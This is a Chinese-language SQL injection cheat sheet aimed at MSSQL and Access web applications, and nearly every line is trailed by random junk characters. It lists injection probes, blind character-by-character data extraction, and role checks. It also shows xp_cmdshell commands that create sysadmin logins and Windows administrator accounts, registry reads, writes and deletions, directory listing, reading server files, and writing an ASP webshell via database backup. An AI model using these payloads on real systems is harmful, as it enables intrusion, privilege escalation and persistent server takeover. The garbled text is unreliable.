1.判断是否有注入;and 1=1 ;and 1=2 5YneoM]Q
2.初步判断是否是mssql ;and user>0 B$n 1k45
F0~<p[9Nx
3.注入参数是字符'and [查询条件] and ''=' ujzfy
:yRv:`r3Lt
4.搜索时没过滤参数的'and [查询条件] and '%25'=' yO}5.
lu8*+.V
5.判断数据库系统 3=yfbO<-
A $ ]s{`
;and (select count(*) from sysobjects)>0 mssql k?$I4&|5Nt
Cv}^]_`Q
;and (select count(*) from msysobjects)>0 access YN+vk}8 <
a{@}vZx>3
|B^Mj57DO
tHAe
6.猜数据库 ;and (select Count(*) from [数据库名])>0 L^r & .N\
}8POm#
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 NJ]3qH
Y%eq2%
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Vn_~ |-Wt
Kk*8
9.(1)猜字段的ascii值(access) i(_A;TT6
8NiR3*1
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 uovv">Uw
N/ f7"~+`
(2)猜字段的ascii值(mssql) *\(z"B
* k<@
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 AL.psw-Il
O =;jDWE
10.测试权限结构(mssql) J/O{x
+<j7^AEG
z DU=2c4W9
wYg!H>5
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- L SP p
'&'m#H*:
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9}u,`&
Xjkg7p,HD@
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- DY9]$h*y
IvT><8<G
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- t&:L?K)j
vbVOWX6
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- xM(H4.<
g;v;xlY`N
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- fGO\f;P
^lAM /
;and 1=(select IS_MEMBER('db_owner'));-- 4(|yl^w
nYFrp)DLK
wD=]U@t`,
YZj*F-}
11.添加mssql和系统的帐户 >mai
v;
I O:*F0
;exec master.dbo.sp_addlogin username;-- h%krA<G9
;exec master.dbo.sp_password null,username,password;-- w4vV#C4X
Rd&DH_<+^
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ATl?./T u
_$ivN!k
;exec master.dbo.xp_cmdshell 'net user username password xH xTL>,?
TI8r/P?
]V
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 'gvR?[!t
mL=d EQ
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ocFk#FW
%/"n(?$W
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Aeb(b+=
vWZXb`
>
[J.
B*,)@h
12.(1)遍历目录 0Gc@AG{
d<6F'F^w.7
;create table dirs(paths varchar(100), id int) K5jt(7i
PDuc;RG
;insert dirs exec master.dbo.xp_dirtree 'c:\' DK\XC%~m
\xj;{xc
;and (select top 1 paths from dirs)>0 +yp:douERi
F5Z,Jmi^M
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) d=PX}o^
iCE!TmDT
jYFJk&c
k~^4
(2)遍历目录 MQQm3VaKS
]xr0]
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- W&IG,7tr
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 r<ucHRO#
{ aUnOyX_
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 =/!lK&
A^>@6d $2
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 3R3H+W0{
~w+I2oS$
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4b`E/L}2
lL:a}#qxU
ZpV]X(Px(o
7C|!Wno[;
13.mssql中的存储过程 4,e'B-.
z# ^fS
|
xp_regenumvalues 注册表根键, 子键 [OW <<6
Do/R.Mgy*
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 YV<y-,Io
c Mgd
xp_regread 根键,子键,键值名 #wI}93E
}IyF|[
;exec xp_regread j#1G?MF
lh8QtPe
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 P.'.KZJ:WD
@up,5`
xp_regwrite 根键,子键, 值名, 值类型, 值 %.Ma_4o
Z
-B
*W^-;*
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 C9!t&<\}
bDkZU
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 iT>u&0B-
Aqmpo3P[+
xp_regdeletevalue 根键,子键,值名 x
b"z%.j
:\\NK/"
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 H~a
~'tm
jYHn J}<
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Dfs*~H63
s-$Wc)l
s;BMj^x
>R+-mP!nj
14.mssql的backup创建webshell {A/r)
566!T_
use model Xp:A;i9
{]k#=a4
create table cmd(str image); +e>SK!kB7
(/e&m=~
insert into cmd(str) values (''); f#0HiE!
m+<&NDj.
backup database model to disk='c:\l.asp'; #\0m(v
um.ZAS_kmc
D&G6^ME
E^1yU
15.mssql内置函数 }QFL
~"#0rPT
;and (select @@version)>0 获得Windows的版本号 ?veeW6E(
,/\`Rc^n
;and user_name()='dbo' 判断当前系统的连接用户是不是sa oY)eN?c
o,*m,Qc
;and (select user_name())>0 爆当前系统的连接用户 /Y#8.sr
;@wa\H[3v2
;and (select db_name())>0 得到当前连接的数据库 @dWA1tM
DYf QlA
:_8K8Sa
;m]V12
16.简洁的webshell ZcN0:xU
|+Y-i4t
use model _:r8UVAT.
,:?ibE=
create table cmd(str image); J,=K1>8s
hX.cdt_?
insert into cmd(str) values (''); /5NWV#-
'Z{`P0/^o`
backup database model to disk='g:\wwwtest\l.asp';